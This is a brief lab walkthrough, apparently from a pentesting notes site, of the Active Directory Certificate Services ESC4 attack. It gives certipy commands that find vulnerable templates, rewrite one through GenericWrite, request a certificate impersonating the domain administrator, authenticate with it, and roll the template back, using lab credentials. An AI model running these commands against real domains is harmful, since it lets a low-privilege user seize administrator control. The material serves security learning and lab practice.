ADCS - ESC4

Vulnerable Certificate Template Access Control — ESC4
Certificate templates are securable objects in Active Directory, meaning they have a security descriptor that specifies which Active Directory principals have specific permissions over the template.

Find the Vulnerabilities:
sudo certipy find -u joaquin.Pereida@maryland.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdoutTake the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got. (we didn’t set the target here as we target the ldap)
sudo certipy template -u joaquin.Pereida@maryland.local -p 'horse' -template ESC4 -save-old -debugExploit ESC1 on the modified ESC4 template
sudo certipy req -u joaquin.Pereida@maryland.local -p 'horse' -target salisbury.maryland.local -template ESC4 -ca MARYLAND-CA -upn administrator@maryland.localauthentication with the pfx
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12Rollback the template configuration
certipy template -u joaquin.Pereida@maryland.local -p 'horse' -template ESC4 -configuration ESC4.jsonLast updated